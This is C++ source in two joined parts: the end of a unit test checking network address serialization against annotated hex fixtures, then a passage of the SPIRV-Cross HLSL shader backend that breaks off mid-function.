static constexpr const char* stream_addrv1_hex =
"03" // number of entries
"61bc6649" // time, Fri Jan 9 02:54:25 UTC 2009
"0000000000000000" // service flags, NODE_NONE
"00000000000000000000000000000001" // address, fixed 16 bytes (IPv4 embedded in IPv6)
"0000" // port
"79627683" // time, Tue Nov 22 11:22:33 UTC 2039
"0100000000000000" // service flags, NODE_NETWORK
"00000000000000000000000000000001" // address, fixed 16 bytes (IPv6)
"00f1" // port
"ffffffff" // time, Sun Feb 7 06:28:15 UTC 2106
"4804000000000000" // service flags, NODE_WITNESS | NODE_COMPACT_FILTERS | NODE_NETWORK_LIMITED
"00000000000000000000000000000001" // address, fixed 16 bytes (IPv6)
"f1f2"; // port
// fixture_addresses should equal to this when serialized in V2 format.
// When this is unserialized from V2 format it should equal to fixture_addresses.
static constexpr const char* stream_addrv2_hex =
"03" // number of entries
"61bc6649" // time, Fri Jan 9 02:54:25 UTC 2009
"00" // service flags, COMPACTSIZE(NODE_NONE)
"02" // network id, IPv6
"10" // address length, COMPACTSIZE(16)
"00000000000000000000000000000001" // address
"0000" // port
"79627683" // time, Tue Nov 22 11:22:33 UTC 2039
"01" // service flags, COMPACTSIZE(NODE_NETWORK)
"02" // network id, IPv6
"10" // address length, COMPACTSIZE(16)
"00000000000000000000000000000001" // address
"00f1" // port
"ffffffff" // time, Sun Feb 7 06:28:15 UTC 2106
"fd4804" // service flags, COMPACTSIZE(NODE_WITNESS | NODE_COMPACT_FILTERS | NODE_NETWORK_LIMITED)
"02" // network id, IPv6
"10" // address length, COMPACTSIZE(16)
"00000000000000000000000000000001" // address
"f1f2"; // port
BOOST_AUTO_TEST_CASE(caddress_serialize_v1)
{
CDataStream s(SER_NETWORK, PROTOCOL_VERSION);
s << fixture_addresses;
BOOST_CHECK_EQUAL(HexStr(s), stream_addrv1_hex);
}
BOOST_AUTO_TEST_CASE(caddress_unserialize_v1)
{
CDataStream s(ParseHex(stream_addrv1_hex), SER_NETWORK, PROTOCOL_VERSION);
std::vector<CAddress> addresses_unserialized;
s >> addresses_unserialized;
BOOST_CHECK(fixture_addresses == addresses_unserialized);
}
BOOST_AUTO_TEST_CASE(caddress_serialize_v2)
{
CDataStream s(SER_NETWORK, PROTOCOL_VERSION | ADDRV2_FORMAT);
s << fixture_addresses;
BOOST_CHECK_EQUAL(HexStr(s), stream_addrv2_hex);
}
BOOST_AUTO_TEST_CASE(caddress_unserialize_v2)
{
CDataStream s(ParseHex(stream_addrv2_hex), SER_NETWORK, PROTOCOL_VERSION | ADDRV2_FORMAT);
std::vector<CAddress> addresses_unserialized;
s >> addresses_unserialized;
BOOST_CHECK(fixture_addresses == addresses_unserialized);
}
BOOST_AUTO_TEST_SUITE_END()
|
/*
* Copyright 2016-2018 Robert Konrad
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "spirv_hlsl.hpp"
#include "GLSL.std.450.h"
#include <algorithm>
#include <assert.h>
using namespace spv;
using namespace spirv_cross;
using namespace std;
static unsigned image_format_to_components(ImageFormat fmt)
{
switch (fmt)
{
case ImageFormatR8:
case ImageFormatR16:
case ImageFormatR8Snorm:
case ImageFormatR16Snorm:
case ImageFormatR16f:
case ImageFormatR32f:
case ImageFormatR8i:
case ImageFormatR16i:
case ImageFormatR32i:
case ImageFormatR8ui:
case ImageFormatR16ui:
case ImageFormatR32ui:
return 1;
case ImageFormatRg8:
case ImageFormatRg16:
case ImageFormatRg8Snorm:
case ImageFormatRg16Snorm:
case ImageFormatRg16f:
case ImageFormatRg32f:
case ImageFormatRg8i:
case ImageFormatRg16i:
case ImageFormatRg32i:
case ImageFormatRg8ui:
case ImageFormatRg16ui:
case ImageFormatRg32ui:
return 2;
case ImageFormatR11fG11fB10f:
return 3;
case ImageFormatRgba8:
case ImageFormatRgba16:
case ImageFormatRgb10A2:
case ImageFormatRgba8Snorm:
case ImageFormatRgba16Snorm:
case ImageFormatRgba16f:
case ImageFormatRgba32f:
case ImageFormatRgba8i:
case ImageFormatRgba16i:
case ImageFormatRgba32i:
case ImageFormatRgba8ui:
case ImageFormatRgba16ui:
case ImageFormatRgba32ui:
case ImageFormatRgb10a2ui:
return 4;
case ImageFormatUnknown:
return 4; // Assume 4.
default:
SPIRV_CROSS_THROW("Unrecognized typed image format.");
}
}
static string image_format_to_type(ImageFormat fmt, SPIRType::BaseType basetype)
{
switch (fmt)
{
case ImageFormatR8:
case ImageFormatR16:
if (basetype != SPIRType::Float)
SPIRV_CROSS_THROW("Mismatch in image type and base type of image.");
return "unorm float";
case ImageFormatRg8:
case ImageFormatRg16:
if (basetype != SPIRType::Float)
SPIRV_CROSS_THROW("Mismatch in image type and base type of image.");
return "unorm float2";
case ImageFormatRgba8:
case ImageFormatRgba16:
if (basetype != SPIRType::Float)
SPIRV_CROSS_THROW("Mismatch in image type and base type of image.");
return "unorm float4";
case ImageFormatRgb10A2:
if (basetype != SPIRType::Float)
SPIRV_CROSS_THROW("Mismatch in image type and base type of image.");
return "unorm float4";
case ImageFormatR8Snorm:
case ImageFormatR16Snorm:
if (basetype != SPIRType::Float)
SPIRV_CROSS_THROW("Mismatch in image type and base type of image.");
return "snorm float";
case ImageFormatRg8Snorm:
case ImageFormatRg16Snorm:
if (basetype != SPIRType::Float)
SPIRV_CROSS_THROW("Mismatch in image type and base type of image.");
return "snorm float2";
case ImageFormatRgba8Snorm:
case ImageFormatRgba16Snorm:
if (basetype != SPIRType::Float)
SPIRV_CROSS_THROW("Mismatch in image type and base type of image.");
return "snorm float4";
case ImageFormatR16f:
case ImageFormatR32f:
if (basetype != SPIRType::Float)
SPIRV_CROSS_THROW("Mismatch in image type and base type of image.");
return "float";
case ImageFormatRg16f:
case ImageFormatRg32f:
if (basetype != SPIRType::Float)
SPIRV_CROSS_THROW("Mismatch in image type and base type of image.");
return "float2";
case ImageFormatRgba16f:
case ImageFormatRgba32f:
if (basetype != SPIRType::Float)
SPIRV_CROSS_THROW("Mismatch in image type and base type of image.");
return "float4";
case ImageFormatR11fG11fB10f:
if (basetype != SPIRType::Float)
SPIRV_CROSS_THROW("Mismatch in image type and base type of image.");
return "float3";
case ImageFormatR8i:
case ImageFormatR16i:
case ImageFormatR32i:
if (basetype != SPIRType::Int)
SPIRV_CROSS_THROW("Mismatch in image type and base type of image.");
return "int";
case ImageFormatRg8i:
case ImageFormatRg16i:
case ImageFormatRg32i:
if (basetype != SPIRType::Int)
SPIRV_CROSS_THROW("Mismatch in image type and base type of image.");
return "int2";
case ImageFormatRgba8i:
case ImageFormatRgba16i:
case ImageFormatRgba32i:
if (basetype != SPIRType::Int)
SPIRV_CROSS_THROW("Mismatch in image type and base type of image.");
return "int4";
case ImageFormatR8ui:
case ImageFormatR16ui:
case ImageFormatR32ui:
if (basetype != SPIRType::UInt)
SPIRV_CROSS_THROW("Mismatch in image type and base type of image.");
return "uint";
case ImageFormatRg8ui:
case ImageFormatRg16ui:
case ImageFormatRg32ui:
if (basetype != SPIRType::UInt)
SPIRV_CROSS_THROW("Mismatch in image type and base type of image.");
return "uint2";
case ImageFormatRgba8ui:
case ImageFormatRgba16ui:
case ImageFormatRgba32ui:
if (basetype != SPIRType::UInt)
SPIRV_CROSS_THROW("Mismatch in image type and base type of image.");
return "uint4";
case ImageFormatRgb10a2ui:
if (basetype != SPIRType::UInt)
SPIRV_CROSS_THROW("Mismatch in image type and base type of image.");
return "uint4";
case ImageFormatUnknown:
switch (basetype)
{
case SPIRType::Float:
return "float4";
case SPIRType::Int:
return "int4";
case SPIRType::UInt:
return "uint4";
default:
SPIRV_CROSS_THROW("Unsupported base type for image.");
}
default:
SPIRV_CROSS_THROW("Unrecognized typed image format.");
}
}
// Returns true if an arithmetic operation does not change behavior depending on signedness.
static bool hlsl_opcode_is_sign_invariant(Op opcode)
{
switch (opcode)
{
case OpIEqual:
case OpINotEqual:
case OpISub:
case OpIAdd:
case OpIMul:
case OpShiftLeftLogical:
case OpBitwiseOr:
case OpBitwiseXor:
case OpBitwiseAnd:
return true;
default:
return false;
}
}
string CompilerHLSL::image_type_hlsl_modern(const SPIRType &type)
{
auto &imagetype = get<SPIRType>(type.image.type);
const char *dim = nullptr;
bool typed_load = false;
uint32_t components = 4;
switch (type.image.dim)
{
case Dim1D:
typed_load = type.image.sampled == 2;
dim = "1D";
break;
case Dim2D:
typed_load = type.image.sampled == 2;
dim = "2D";
break;
case Dim3D:
typed_load = type.image.sampled == 2;
dim = "3D";
break;
case DimCube:
if (type.image.sampled == 2)
SPIRV_CROSS_THROW("RWTextureCube does not exist in HLSL.");
dim = "Cube";
break;
case DimRect:
SPIRV_CROSS_THROW("Rectangle texture support is not yet implemented for HLSL."); // TODO
case DimBuffer:
if (type.image.sampled == 1)
return join("Buffer<", type_to_glsl(imagetype), components, ">");
else if (type.image.sampled == 2)
return join("RWBuffer<", image_format_to_type(type.image.format, imagetype.basetype), ">");
else
SPIRV_CROSS_THROW("Sampler buffers must be either sampled or unsampled. Cannot deduce in runtime.");
case DimSubpassData:
dim = "2D";
typed_load = false;
break;
default:
SPIRV_CROSS_THROW("Invalid dimension.");
}
const char *arrayed = type.image.arrayed ? "Array" : "";
const char *ms = type.image.ms ? "MS" : "";
const char *rw = typed_load ? "RW" : "";
return join(rw, "Texture", dim, ms, arrayed, "<",
typed_load ? image_format_to_type(type.image.format, imagetype.basetype) :
join(type_to_glsl(imagetype), components),
">");
}
string CompilerHLSL::image_type_hlsl_legacy(const SPIRType &type)
{
auto &imagetype = get<SPIRType>(type.image.type);
string res;
switch (imagetype.basetype)
{
case SPIRType::Int:
res = "i";
break;
case SPIRType::UInt:
res = "u";
break;
default:
break;
}
if (type.basetype == SPIRType::Image && type.image.dim == DimSubpassData)
return res + "subpassInput" + (type.image.ms ? "MS" : "");
// If we're emulating subpassInput with samplers, force sampler2D
// so we don't have to specify format.
if (type.basetype == SPIRType::Image && type.image.dim != DimSubpassData)
{
// Sampler buffers are always declared as samplerBuffer even though they might be separate images in the SPIR-V.
if (type.image.dim == DimBuffer && type.image.sampled == 1)
res += "sampler";
else
res += type.image.sampled == 2 ? "image" : "texture";
}
else
res += "sampler";
switch (type.image.dim)
{
case Dim1D:
res += "1D";
break;
case Dim2D:
res += "2D";
break;
case Dim3D:
res += "3D";
break;
case DimCube:
res += "CUBE";
break;
case DimBuffer:
res += "Buffer";
break;
case DimSubpassData:
res += "2D";
break;
default:
SPIRV_CROSS_THROW("Only 1D, 2D, 3D, Buffer, InputTarget and Cube textures supported.");
}
if (type.image.ms)
res += "MS";
if (type.image.arrayed)
res += "Array";
if (type.image.depth)
res += "Shadow";
return res;
}
string CompilerHLSL::image_type_hlsl(const SPIRType &type)
{
if (hlsl_options.shader_model <= 30)
return image_type_hlsl_legacy(type);
else
return image_type_hlsl_modern(type);
}
// The optional id parameter indicates the object whose type we are trying
// to find the description for. It is optional. Most type descriptions do not
// depend on a specific object's use of that type.
string CompilerHLSL::type_to_glsl(const SPIRType &type, uint32_t id)
{
// Ignore the pointer type since GLSL doesn't have pointers.
switch (type.basetype)
{
case SPIRType::Struct:
// Need OpName lookup here to get a "sensible" name for a struct.
if (backend.explicit_struct_type)
return join("struct ", to_name(type.self));
else
return to_name(type.self);
case SPIRType::Image:
case SPIRType::SampledImage:
return image_type_hlsl(type);
case SPIRType::Sampler:
return comparison_samplers.count(id) ? "SamplerComparisonState" : "SamplerState";
case SPIRType::Void:
return "void";
default:
break;
}
if (type.vecsize == 1 && type.columns == 1) // Scalar builtin
{
switch (type.basetype)
{
case SPIRType::Boolean:
return "bool";
case SPIRType::Int:
return backend.basic_int_type;
case SPIRType::UInt:
return backend.basic_uint_type;
case SPIRType::AtomicCounter:
return "atomic_uint";
case SPIRType::Half:
return "min16float";
case SPIRType::Float:
return "float";
case SPIRType::Double:
return "double";
case SPIRType::Int64:
return "int64_t";
case SPIRType::UInt64:
return "uint64_t";
default:
return "???";
}
}
else if (type.vecsize > 1 && type.columns == 1) // Vector builtin
{
switch (type.basetype)
{
case SPIRType::Boolean:
return join("bool", type.vecsize);
case SPIRType::Int:
return join("int", type.vecsize);
case SPIRType::UInt:
return join("uint", type.vecsize);
case SPIRType::Half:
return join("min16float", type.vecsize);
case SPIRType::Float:
return join("float", type.vecsize);
case SPIRType::Double:
return join("double", type.vecsize);
case SPIRType::Int64:
return join("i64vec", type.vecsize);
case SPIRType::UInt64:
return join("u64vec", type.vecsize);
default:
return "???";
}
}
else
{
switch (type.basetype)
{
case SPIRType::Boolean:
return join("bool", type.columns, "x", type.vecsize);
case SPIRType::Int:
return join("int", type.columns, "x", type.vecsize);
case SPIRType::UInt:
return join("uint", type.columns, "x", type.vecsize);
case SPIRType::Half:
return join("min16float", type.columns, "x", type.vecsize);
case SPIRType::Float:
return join("float", type.columns, "x", type.vecsize);
case SPIRType::Double:
return join("double", type.columns, "x", type.vecsize);
// Matrix types not supported for int64/uint64.
default:
return "???";
}
}
}
void CompilerHLSL::emit_header()
{
for (auto &header : header_lines)
statement(header);
if (header_lines.size() > 0)
{
statement("");
}
}
void CompilerHLSL::emit_interface_block_globally(const SPIRVariable &var)
{
add_resource_name(var.self);
// The global copies of I/O variables should not contain interpolation qualifiers.
// These are emitted inside the interface structs.
auto &flags = meta[var.self].decoration.decoration_flags;
auto old_flags = flags;
flags.reset();
statement("static ", variable_decl(var), ";");
flags = old_flags;
}
const char *CompilerHLSL::to_storage_qualifiers_glsl(const SPIRVariable &var)
{
// Input and output variables are handled specially in HLSL backend.
// The variables are declared as global, private variables, and do not need any qualifiers.
if (var.storage == StorageClassUniformConstant || var.storage == StorageClassUniform ||
var.storage == StorageClassPushConstant)
{
return "uniform ";
}
return "";
}
void CompilerHLSL::emit_builtin_outputs_in_struct()
{
bool legacy = hlsl_options.shader_model <= 30;
active_output_builtins.for_each_bit([&](uint32_t i) {
const char *type = nullptr;
const char *semantic = nullptr;
auto builtin = static_cast<BuiltIn>(i);
switch (builtin)
{
case BuiltInPosition:
type = "float4";
semantic = legacy ? "POSITION" : "SV_Position";
break;
case BuiltInFragDepth:
type = "float";
semantic = legacy ? "DEPTH" : "SV_Depth";
break;
case BuiltInClipDistance:
// HLSL is a bit weird here, use SV_ClipDistance0, SV_ClipDistance1 and so on with vectors.
for (uint32_t clip = 0; clip < clip_distance_count; clip += 4)
{
uint32_t to_declare = clip_distance_count - clip;
if (to_declare > 4)
to_declare = 4;
uint32_t semantic_index = clip / 4;
static const char *types[] = { "float", "float2", "float3", "float4" };
statement(types[to_declare - 1], " ", builtin_to_glsl(builtin, StorageClassOutput), semantic_index,
" : SV_ClipDistance", semantic_index, ";");
}
break;
case BuiltInCullDistance:
// HLSL is a bit weird here, use SV_CullDistance0, SV_CullDistance1 and so on with vectors.
for (uint32_t cull = 0; cull < cull_distance_count; cull += 4)
{
uint32_t to_declare = cull_distance_count - cull;
if (to_declare > 4)
to_declare = 4;
uint32_t semantic_index = cull / 4;
static const char *types[] = { "float", "float2", "float3", "float4" };
statement(types[to_declare - 1], " ", builtin_to_glsl(builtin, StorageClassOutput), semantic_index,
" : SV_CullDistance", semantic_index, ";");
}
break;
case BuiltInPointSize:
// If point_size_compat is enabled, just ignore PointSize.
// PointSize does not exist in HLSL, but some code bases might want to be able to use these shaders,
// even if it means working around the missing feature.
if (hlsl_options.point_size_compat)
break;
else
SPIRV_CROSS_THROW("Unsupported builtin in HLSL.");
default:
SPIRV_CROSS_THROW("Unsupported builtin in HLSL.");
break;
}
if (type && semantic)
statement(type, " ", builtin_to_glsl(builtin, StorageClassOutput), " : ", semantic, ";");
});
}
void CompilerHLSL::emit_builtin_inputs_in_struct()
{
bool legacy = hlsl_options.shader_model <= 30;
active_input_builtins.for_each_bit([&](uint32_t i) {
const char *type = nullptr;
const char *semantic = nullptr;
auto builtin = static_cast<BuiltIn>(i);
switch (builtin)
{
case BuiltInFragCoord:
type = "float4";
semantic = legacy ? "VPOS" : "SV_Position";
break;
case BuiltInVertexId:
case BuiltInVertexIndex:
if (legacy)
SPIRV_CROSS_THROW("Vertex index not supported in SM 3.0 or lower.");
type = "uint";
semantic = "SV_VertexID";
break;
case BuiltInInstanceId:
case BuiltInInstanceIndex:
if (legacy)
SPIRV_CROSS_THROW("Instance index not supported in SM 3.0 or lower.");
type = "uint";
semantic = "SV_InstanceID";
break;
case BuiltInSampleId:
if (legacy)
SPIRV_CROSS_THROW("Sample ID not supported in SM 3.0 or lower.");
type = "uint";
semantic = "SV_SampleIndex";
break;
case BuiltInGlobalInvocationId:
type = "uint3";
semantic = "SV_DispatchThreadID";
break;
case BuiltInLocalInvocationId:
type = "uint3";
semantic = "SV_GroupThreadID";
break;
case BuiltInLocalInvocationIndex:
type = "uint";
semantic = "SV_GroupIndex";
break;
case BuiltInWorkgroupId:
type = "uint3";
semantic = "SV_GroupID";
break;
case BuiltInFrontFacing:
type = "bool";
semantic = "SV_IsFrontFace";
break;
case BuiltInNumWorkgroups:
case BuiltInSubgroupSize:
case BuiltInSubgroupLocalInvocationId:
case BuiltInSubgroupEqMask:
case BuiltInSubgroupLtMask:
case BuiltInSubgroupLeMask:
case BuiltInSubgroupGtMask:
case BuiltInSubgroupGeMask:
// Handled specially.
break;
case BuiltInClipDistance:
// HLSL is a bit weird here, use SV_ClipDistance0, SV_ClipDistance1 and so on with vectors.
for (uint32_t clip = 0; clip < clip_distance_count; clip += 4)
{
uint32_t to_declare = clip_distance_count - clip;
if (to_declare > 4)
to_declare = 4;
uint32_t semantic_index = clip / 4;
static const char *types[] = { "float", "float2", "float3", "float4" };
statement(types[to_declare - 1], " ", builtin_to_glsl(builtin, StorageClassInput), semantic_index,
" : SV_ClipDistance", semantic_index, ";");
}
break;
case BuiltInCullDistance:
// HLSL is a bit weird here, use SV_CullDistance0, SV_CullDistance1 and so on with vectors.
for (uint32_t cull = 0; cull < cull_distance_count; cull += 4)
{
uint32_t to_declare = cull_distance_count - cull;
if (to_declare > 4)
to_declare = 4;
uint32_t semantic_index = cull / 4;
static const char *types[] = { "float", "float2", "float3", "float4" };
statement(types[to_declare - 1], " ", builtin_to_glsl(builtin, StorageClassInput), semantic_index,
" : SV_CullDistance", semantic_index, ";");
}
break;
case BuiltInPointCoord:
// PointCoord is not supported, but provide a way to just ignore that, similar to PointSize.
if (hlsl_options.point_coord_compat)
break;
else
SPIRV_CROSS_THROW("Unsupported builtin in HLSL.");
default:
SPIRV_CROSS_THROW("Unsupported builtin in HLSL.");
break;
}
if (type && semantic)
statement(type, " ", builtin_to_glsl(builtin, StorageClassInput), " : ", semantic, ";");
});
}
uint32_t CompilerHLSL::type_to_consumed_locations(const SPIRType &type) const
{
// TODO: Need to verify correctness.
uint32_t elements = 0;
if (type.basetype == SPIRType::Struct)
{
for (uint32_t i = 0; i < uint32_t(type.member_types.size()); i++)
elements += type_to_consumed_locations(get<SPIRType>(type.member_types[i]));
}
else
{
uint32_t array_multiplier = 1;
for (uint32_t i = 0; i < uint32_t(type.array.size()); i++)
{
if (type.array_size_literal[i])
array_multiplier *= type.array[i];
else
array_multiplier *= get<SPIRConstant>(type.array[i]).scalar();
}
elements += array_multiplier * type.columns;
}
return elements;
}
string CompilerHLSL::to_interpolation_qualifiers(const Bitset &flags)
{
string res;
//if (flags & (1ull << DecorationSmooth))
// res += "linear ";
if (flags.get(DecorationFlat))
res += "nointerpolation ";
if (flags.get(DecorationNoPerspective))
res += "noperspective ";
if (flags.get(DecorationCentroid))
res += "centroid ";
if (flags.get(DecorationPatch))
res += "patch "; // Seems to be different in actual HLSL.
if (flags.get(DecorationSample))
res += "sample ";
if (flags.get(DecorationInvariant))
res += "invariant "; // Not supported?
return res;
}
std::string CompilerHLSL::to_semantic(uint32_t vertex_location)
{
for (auto &attribute : remap_vertex_attributes)
if (attribute.location == vertex_location)
return attribute.semantic;
return join("TEXCOORD", vertex_location);
}
void CompilerHLSL::emit_io_block(const SPIRVariable &var)
{
auto &type = get<SPIRType>(var.basetype);
add_resource_name(type.self);
statement("struct ", to_name(type.self));
begin_scope();
type.member_name_cache.clear();
uint32_t base_location = get_decoration(var.self, DecorationLocation);
for (uint32_t i = 0; i < uint32_t(type.member_types.size()); i++)
{
string semantic;
if (has_member_decoration(type.self, i, DecorationLocation))
{
uint32_t location = get_member_decoration(type.self, i, DecorationLocation);
semantic = join(" : ", to_semantic(location));
}
else
{
// If the block itself has a location, but not its members, use the implicit location.
// There could be a conflict if the block members partially specialize the locations.
// It is unclear how SPIR-V deals with this. Assume this does not happen for now.
uint32_t location = base_location + i;
semantic = join(" : ", to_semantic(location));
}
add_member_name(type, i);
auto &membertype = get<SPIRType>(type.member_types[i]);
statement(to_interpolation_qualifiers(get_member_decoration_bitset(type.self, i)),
variable_decl(membertype, to_member_name(type, i)), semantic, ";");
}
end_scope_decl();
statement("");
statement("static ", variable_decl(var), ";");
statement("");
}
void CompilerHLSL::emit_interface_block_in_struct(const SPIRVariable &var, unordered_set<uint32_t> &active_locations)
{
auto &execution = get_entry_point();
auto &type = get<SPIRType>(var.basetype);
string binding;
bool use_location_number = true;
bool legacy = hlsl_options.shader_model <= 30;
if (execution.model == ExecutionModelFragment && var.storage == StorageClassOutput)
{
binding = join(legacy ? "COLOR" : "SV_Target", get_decoration(var.self, DecorationLocation));
use_location_number = false;
}
const auto get_vacant_location = [&]() -> uint32_t {
for (uint32_t i = 0; i < 64; i++)
if (!active_locations.count(i))
return i;
SPIRV_CROSS_THROW("All locations from 0 to 63 are exhausted.");
};
bool need_matrix_unroll = var.storage == StorageClassInput && execution.model == ExecutionModelVertex;
auto &m = meta[var.self].decoration;
auto name = to_name(var.self);
if (use_location_number)
{
uint32_t location_number;
// If an explicit location exists, use it with TEXCOORD[N] semantic.
// Otherwise, pick a vacant location.
if (m.decoration_flags.get(DecorationLocation))
location_number = m.location;
else
location_number = get_vacant_location();
// Allow semantic remap if specified.
auto semantic = to_semantic(location_number);
if (need_matrix_unroll && type.columns > 1)
{
if (!type.array.empty())
SPIRV_CROSS_THROW("Arrays of matrices used as input/output. This is not supported.");
// Unroll matrices.
for (uint32_t i = 0; i < type.columns; i++)
{
SPIRType newtype = type;
newtype.columns = 1;
statement(to_interpolation_qualifiers(get_decoration_bitset(var.self)),
variable_decl(newtype, join(name, "_", i)), " : ", semantic, "_", i, ";");
active_locations.insert(location_number++);
}
}
else
{
statement(to_interpolation_qualifiers(get_decoration_bitset(var.self)), variable_decl(type, name), " : ",
semantic, ";");
// Structs and arrays should consume more locations.
uint32_t consumed_locations = type_to_consumed_locations(type);
for (uint32_t i = 0; i < consumed_locations; i++)
active_locations.insert(location_number + i);
}
}
else
statement(variable_decl(type, name), " : ", binding, ";");
}
std::string CompilerHLSL::builtin_to_glsl(spv::BuiltIn builtin, spv::StorageClass storage)
{
switch (builtin)
{
case BuiltInVertexId:
return "gl_VertexID";
case BuiltInInstanceId:
return "gl_InstanceID";
case BuiltInNumWorkgroups:
{
if (!num_workgroups_builtin)
SPIRV_CROSS_THROW("NumWorkgroups builtin is used, but remap_num_workgroups_builtin() was not called. "
"Cannot emit code for this builtin.");
auto &var = get<SPIRVariable>(num_workgroups_builtin);
auto &type = get<SPIRType>(var.basetype);
return sanitize_underscores(join(to_name(num_workgroups_builtin), "_", get_member_name(type.self, 0)));
}
case BuiltInPointCoord:
// Crude hack, but there is no real alternative. This path is only enabled if point_coord_compat is set.
return "float2(0.5f, 0.5f)";
case BuiltInSubgroupLocalInvocationId:
return "WaveGetLaneIndex()";
case BuiltInSubgroupSize:
return "WaveGetLaneCount()";
default:
return CompilerGLSL::builtin_to_glsl(builtin, storage);
}
}
void CompilerHLSL::emit_builtin_variables()
{
Bitset builtins = active_input_builtins;
builtins.merge_or(active_output_builtins);
// Emit global variables for the interface variables which are statically used by the shader.
builtins.for_each_bit([&](uint32_t i) {
const char *type = nullptr;
auto builtin = static_cast<BuiltIn>(i);
uint32_t array_size = 0;
switch (builtin)
{
case BuiltInFragCoord:
case BuiltInPosition:
type = "float4";
break;
case BuiltInFragDepth:
type = "float";
break;
case BuiltInVertexId:
case BuiltInVertexIndex:
case BuiltInInstanceId:
case BuiltInInstanceIndex:
case BuiltInSampleId:
type = "int";
break;
case BuiltInPointSize:
if (hlsl_options.point_size_compat)
{
// Just emit the global variable, it will be ignored.
type = "float";
break;
}
else
SPIRV_CROSS_THROW(join("Unsupported builtin in HLSL: ", unsigned(builtin)));
case BuiltInGlobalInvocationId:
case BuiltInLocalInvocationId:
case BuiltInWorkgroupId:
type = "uint3";
break;
case BuiltInLocalInvocationIndex:
type = "uint";
break;
case BuiltInFrontFacing:
type = "bool";
break;
case BuiltInNumWorkgroups:
case BuiltInPointCoord:
// Handled specially.
break;
case BuiltInSubgroupLocalInvocationId:
case BuiltInSubgroupSize:
if (hlsl_options.shader_model < 60)
SPIRV_CROSS_THROW("Need SM 6.0 for Wave ops.");
break;
case BuiltInSubgroupEqMask:
case BuiltInSubgroupLtMask:
case BuiltInSubgroupLeMask:
case BuiltInSubgroupGtMask:
case BuiltInSubgroupGeMask:
if (hlsl_options.shader_model < 60)
SPIRV_CROSS_THROW("Need SM 6.0 for Wave ops.");
type = "uint4";
break;
case BuiltInClipDistance:
array_size = clip_distance_count;
type = "float";
break;
case BuiltInCullDistance:
array_size = cull_distance_count;
type = "float";
break;
default:
SPIRV_CROSS_THROW(join("Unsupported builtin in HLSL: ", unsigned(builtin)));
}
StorageClass storage = active_input_builtins.get(i) ? StorageClassInput : StorageClassOutput;
// FIXME: SampleMask can be both in and out with sample builtin,
// need to distinguish that when we add support for that.
if (type)
{
if (array_size)
statement("static ", type, " ", builtin_to_glsl(builtin, storage), "[", array_size, "];");
else
statement("static ", type, " ", builtin_to_glsl(builtin, storage), ";");
}
});
}
void CompilerHLSL::emit_composite_constants()
{
// HLSL cannot declare structs or arrays inline, so we must move them out to
// global constants directly.
bool emitted = false;
for (auto &id : ids)
{
if (id.get_type() == TypeConstant)
{
auto &c = id.get<SPIRConstant>();
if (c.specialization)
continue;
auto &type = get<SPIRType>(c.constant_type);
if (type.basetype == SPIRType::Struct || !type.array.empty())
{
auto name = to_name(c.self);
statement("static const ", variable_decl(type, name), " = ", constant_expression(c), ";");
emitted = true;
}
}
}
if (emitted)
statement("");
}
void CompilerHLSL::emit_specialization_constants()
{
bool emitted = false;
SpecializationConstant wg_x, wg_y, wg_z;
uint32_t workgroup_size_id = get_work_group_size_specialization_constants(wg_x, wg_y, wg_z);
for (auto &id : ids)
{
if (id.get_type() == TypeConstant)
{
auto &c = id.get<SPIRConstant>();
if (!c.specialization)
continue;
if (c.self == workgroup_size_id)
continue;
auto &type = get<SPIRType>(c.constant_type);
auto name = to_name(c.self);
statement("static const ", variable_decl(type, name), " = ", constant_expression(c), ";");
emitted = true;
}
else if (id.get_type() == TypeConstantOp)
{
auto &c = id.get<SPIRConstantOp>();
auto &type = get<SPIRType>(c.basetype);
auto name = to_name(c.self);
statement("static const ", variable_decl(type, name), " = ", constant_op_expression(c), ";");
}
}
if (workgroup_size_id)
{
statement("static const uint3 gl_WorkGroupSize = ", constant_expression(get<SPIRConstant>(workgroup_size_id)),
";");
emitted = true;
}
if (emitted)
statement("");
}
void CompilerHLSL::replace_illegal_names()
{
static const unordered_set<string> keywords = {
// Additional HLSL specific keywords.
"line", "linear", "matrix", "point", "row_major", "sampler",
};
for (auto &id : ids)
{
if (id.get_type() == TypeVariable)
{
auto &var = id.get<SPIRVariable>();
if (!is_hidden_variable(var))
{
auto &m = meta[var.self].decoration;
if (keywords.find(m.alias) != end(keywords))
m.alias = join("_", m.alias);
}
}
}
CompilerGLSL::replace_illegal_names();
}
void CompilerHLSL::emit_resources()
{
auto &execution = get_entry_point();
replace_illegal_names();
emit_specialization_constants();
// Output all basic struct types which are not Block or BufferBlock as these are declared inplace
// when such variables are instantiated.
for (auto &id : ids)
{
if (id.get_type() == TypeType)
{
auto &type = id.get<SPIRType>();
if (type.basetype == SPIRType::Struct && type.array.empty() && !type.pointer &&
(!meta[type.self].decoration.decoration_flags.get(DecorationBlock) &&
!meta[type.self].decoration.decoration_flags.get(DecorationBufferBlock)))
{
emit_struct(type);
}
}
}
emit_composite_constants();
bool emitted = false;
// Output UBOs and SSBOs
for (auto &id : ids)
{
if (id.get_type() == TypeVariable)
{
auto &var = id.get<SPIRVariable>();
auto &type = get<SPIRType>(var.basetype);
bool is_block_storage = type.storage == StorageClassStorageBuffer || type.storage == StorageClassUniform;
bool has_block_flags = meta[type.self].decoration.decoration_flags.get(DecorationBlock) ||
meta[type.self].decoration.decoration_flags.get(DecorationBufferBlock);
if (var.storage != StorageClassFunction && type.pointer && is_block_storage && !is_hidden_variable(var) &&
has_block_flags)
{
emit_buffer_block(var);
emitted = true;
}
}
}
// Output push constant blocks
for (auto &id : ids)
{
if (id.get_type() == TypeVariable)
{
auto &var = id.get<SPIRVariable>();
auto &type = get<SPIRType>(var.basetype);
if (var.storage != StorageClassFunction && type.pointer && type.storage == StorageClassPushConstant &&
!is_hidden_variable(var))
{
emit_push_constant_block(var);
emitted = true;
}
}
}
if (execution.model == ExecutionModelVertex && hlsl_options.shader_model <= 30)
{
statement("uniform float4 gl_HalfPixel;");
emitted = true;
}
// Output Uniform Constants (values, samplers, images, etc).
for (auto &id : ids)
{
if (id.get_type() == TypeVariable)
{
auto &var = id.get<SPIRVariable>();
auto &type = get<SPIRType>(var.basetype);
